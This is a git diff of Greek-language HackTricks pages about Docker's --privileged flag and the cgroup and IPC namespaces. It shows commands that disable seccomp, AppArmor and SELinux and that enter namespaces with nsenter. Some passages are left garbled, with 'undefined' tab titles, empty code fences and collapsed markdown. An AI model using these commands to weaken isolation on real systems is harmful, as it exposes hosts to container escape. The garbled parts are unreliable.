||||||
|
@ -52,13 +55,11 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
|
||||||
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
|
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
|
||||||
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
|
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
|
||||||
```
|
```
|
||||||
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm --privileged -it alpine sh
|
# docker run --rm --privileged -it alpine sh
|
||||||
mount | grep '(ro'
|
mount | grep '(ro'
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
### Μάσκαρε τα αρχεία συστήματος πυρήνα
|
### Μάσκαρε τα αρχεία συστήματος πυρήνα
|
||||||
|
|
||||||
|
@ -69,7 +70,7 @@ mount | grep '(ro'
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Μέσα στο προεπιλεγμένο εμπόρευμα" %}
|
{% tab title="undefined" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm -it alpine sh
|
# docker run --rm -it alpine sh
|
||||||
mount | grep /proc.*tmpfs
|
mount | grep /proc.*tmpfs
|
||||||
|
@ -77,6 +78,8 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
|
||||||
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
|
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||||
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm --privileged -it alpine sh
|
# docker run --rm --privileged -it alpine sh
|
||||||
|
@ -94,7 +97,7 @@ mount | grep /proc.*tmpfs
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Μέσα στο προεπιλεγμένο container" %}
|
{% tab title="undefined" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm -it alpine sh
|
# docker run --rm -it alpine sh
|
||||||
apk add -U libcap; capsh --print
|
apk add -U libcap; capsh --print
|
||||||
|
@ -103,6 +106,8 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
||||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm --privileged -it alpine sh
|
# docker run --rm --privileged -it alpine sh
|
||||||
|
@ -126,13 +131,15 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Μέσα στο προεπιλεγμένο container" %}
|
{% tab title="undefined" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm -it alpine sh
|
# docker run --rm -it alpine sh
|
||||||
grep Seccomp /proc/1/status
|
grep Seccomp /proc/1/status
|
||||||
Seccomp: 2
|
Seccomp: 2
|
||||||
Seccomp_filters: 1
|
Seccomp_filters: 1
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm --privileged -it alpine sh
|
# docker run --rm --privileged -it alpine sh
|
||||||
|
@ -142,10 +149,12 @@ Seccomp_filters: 0
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# You can manually disable seccomp in docker with
|
# You can manually disable seccomp in docker with
|
||||||
--security-opt seccomp=unconfined
|
--security-opt seccomp=unconfined
|
||||||
```
|
```
|
||||||
|
|
||||||
Επίσης, σημειώστε ότι όταν το Docker (ή άλλα CRIs) χρησιμοποιούνται σε ένα **Kubernetes** cluster, ο **φίλτρος seccomp είναι απενεργοποιημένος από προεπιλογή**.
|
Επίσης, σημειώστε ότι όταν το Docker (ή άλλα CRIs) χρησιμοποιούνται σε ένα **Kubernetes** cluster, ο **φίλτρος seccomp είναι απενεργοποιημένος από προεπιλογή**.
|
||||||
|
|
||||||
### AppArmor
|
### AppArmor
|
||||||
|
@ -155,10 +164,12 @@ Seccomp_filters: 0
|
||||||
{% content-ref url="apparmor.md" %}
|
{% content-ref url="apparmor.md" %}
|
||||||
[apparmor.md](apparmor.md)
|
[apparmor.md](apparmor.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# You can manually disable seccomp in docker with
|
# You can manually disable seccomp in docker with
|
||||||
--security-opt apparmor=unconfined
|
--security-opt apparmor=unconfined
|
||||||
```
|
```
|
||||||
|
|
||||||
### SELinux
|
### SELinux
|
||||||
|
|
||||||
Η εκτέλεση ενός container με την σημαία `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, προκαλώντας την κληρονομική λήψη της ετικέτας της μηχανής του container, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με τη μηχανή του container. Στη λειτουργία χωρίς ρίζες, χρησιμοποιείται το `container_runtime_t`, ενώ στη λειτουργία ρίζας εφαρμόζεται το `spc_t`.
|
Η εκτέλεση ενός container με την σημαία `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, προκαλώντας την κληρονομική λήψη της ετικέτας της μηχανής του container, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με τη μηχανή του container. Στη λειτουργία χωρίς ρίζες, χρησιμοποιείται το `container_runtime_t`, ενώ στη λειτουργία ρίζας εφαρμόζεται το `spc_t`.
|
||||||
|
@ -166,10 +177,12 @@ Seccomp_filters: 0
|
||||||
{% content-ref url="../selinux.md" %}
|
{% content-ref url="../selinux.md" %}
|
||||||
[selinux.md](../selinux.md)
|
[selinux.md](../selinux.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# You can manually disable selinux in docker with
|
# You can manually disable selinux in docker with
|
||||||
--security-opt label:disable
|
--security-opt label:disable
|
||||||
```
|
```
|
||||||
|
|
||||||
## Τι δεν επηρεάζεται
|
## Τι δεν επηρεάζεται
|
||||||
|
|
||||||
### Ονοματοχώροι
|
### Ονοματοχώροι
|
||||||
|
@ -177,7 +190,7 @@ Seccomp_filters: 0
|
||||||
Οι ονοματοχώροι **ΔΕΝ επηρεάζονται** από την σημαία `--privileged`. Αν και δεν έχουν ενεργοποιημένους περιορισμούς ασφαλείας, **δεν βλέπουν όλες τις διεργασίες στο σύστημα ή το δίκτυο του οικοδεσπότη, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένους ονοματοχώρους χρησιμοποιώντας τις σημαίες `--pid=host`, `--net=host`, `--ipc=host`, `--uts=host` των μηχανισμών εκτέλεσης των εμπορευματοκιβωτίων.
|
Οι ονοματοχώροι **ΔΕΝ επηρεάζονται** από την σημαία `--privileged`. Αν και δεν έχουν ενεργοποιημένους περιορισμούς ασφαλείας, **δεν βλέπουν όλες τις διεργασίες στο σύστημα ή το δίκτυο του οικοδεσπότη, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένους ονοματοχώρους χρησιμοποιώντας τις σημαίες `--pid=host`, `--net=host`, `--ipc=host`, `--uts=host` των μηχανισμών εκτέλεσης των εμπορευματοκιβωτίων.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Μέσα σε προνομιούχο προεπιλεγμένο εμπορευματοκιβώτιο" %}
|
{% tab title="undefined" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm --privileged -it alpine sh
|
# docker run --rm --privileged -it alpine sh
|
||||||
ps -ef
|
ps -ef
|
||||||
|
@ -185,6 +198,8 @@ PID USER TIME COMMAND
|
||||||
1 root 0:00 sh
|
1 root 0:00 sh
|
||||||
18 root 0:00 ps -ef
|
18 root 0:00 ps -ef
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Μέσα στον επιλεγμένο --pid=host Container" %}
|
{% tab title="Μέσα στον επιλεγμένο --pid=host Container" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm --privileged --pid=host -it alpine sh
|
# docker run --rm --privileged --pid=host -it alpine sh
|
||||||
|
@ -213,7 +228,7 @@ PID USER TIME COMMAND
|
||||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -37,9 +37,11 @@
|
||||||
### Δημιουργία διαφορετικών Namespaces
|
### Δημιουργία διαφορετικών Namespaces
|
||||||
|
|
||||||
#### Εντολή CLI
|
#### Εντολή CLI
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo unshare -C [--mount-proc] /bin/bash
|
sudo unshare -C [--mount-proc] /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Με την προσάρτηση μιας νέας περίπτωσης του αρχείου `/proc` εάν χρησιμοποιήσετε την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
Με την προσάρτηση μιας νέας περίπτωσης του αρχείου `/proc` εάν χρησιμοποιήσετε την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων περιέχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -49,22 +51,27 @@ sudo unshare -C [--mount-proc] /bin/bash
|
||||||
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
||||||
|
|
||||||
1. **Εξήγηση του προβλήματος**:
|
1. **Εξήγηση του προβλήματος**:
|
||||||
- Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
|
||||||
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
* Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
||||||
- Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
* Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
||||||
|
* Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
||||||
|
|
||||||
2. **Συνέπεια**:
|
2. **Συνέπεια**:
|
||||||
- Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
|
||||||
|
* Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να εκχωρήσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
||||||
|
|
||||||
3. **Λύση**:
|
3. **Λύση**:
|
||||||
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
|
||||||
- Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
* Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
||||||
|
* Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
||||||
|
|
||||||
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||||
```
|
```
|
||||||
###  Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
|
||||||
|
#### Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
||||||
|
|
||||||
To check which namespace your process is in, you can use the following command:
|
To check which namespace your process is in, you can use the following command:
|
||||||
|
|
||||||
|
@ -73,41 +80,32 @@ cat /proc/$$/cgroup | grep "name=systemd" | cut -d: -f3
|
||||||
```
|
```
|
||||||
|
|
||||||
This command will display the namespace ID of your process. If the output is empty, it means that your process is not in any namespace.
|
This command will display the namespace ID of your process. If the output is empty, it means that your process is not in any namespace.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /proc/self/ns/cgroup
|
ls -l /proc/self/ns/cgroup
|
||||||
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
||||||
```
|
```
|
||||||
### Βρείτε όλους τους CGroup namespaces
|
|
||||||
|
#### Βρείτε όλους τους CGroup namespaces
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
|
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
|
||||||
# Find the processes with an specific namespace
|
# Find the processes with an specific namespace
|
||||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||||
```
|
```
|
||||||
{% code %}
|
|
||||||
|
|
||||||
### Εισέρχονται μέσα σε ένα CGroup namespace
|
|
||||||
|
|
||||||
{% endcode %}
|
|
||||||
```bash
|
|
||||||
nsenter -C TARGET_PID --pid /bin/bash
|
|
||||||
```
|
```
|
||||||
Επίσης, μπορείτε να **εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν δείκτη** που να τον δείχνει (όπως `/proc/self/ns/cgroup`).
|
```
|
||||||
|
|
||||||
|
\`\`\`bash nsenter -C TARGET\_PID --pid /bin/bash \`\`\` Επίσης, μπορείτε να \*\*εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root\*\*. Και \*\*δεν μπορείτε\*\* να \*\*εισέλθετε\*\* σε άλλο namespace \*\*χωρίς έναν δείκτη\*\* που να τον δείχνει (όπως \`/proc/self/ns/cgroup\`).
|
||||||
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
## Αναφορές
|
|
||||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# IPC Ονοματοχώρος
|
# IPC Namespace
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -29,9 +29,11 @@
|
||||||
### Δημιουργία διαφορετικών Ονοματοχώρων
|
### Δημιουργία διαφορετικών Ονοματοχώρων
|
||||||
|
|
||||||
#### Εντολική γραμμή
|
#### Εντολική γραμμή
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo unshare -i [--mount-proc] /bin/bash
|
sudo unshare -i [--mount-proc] /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
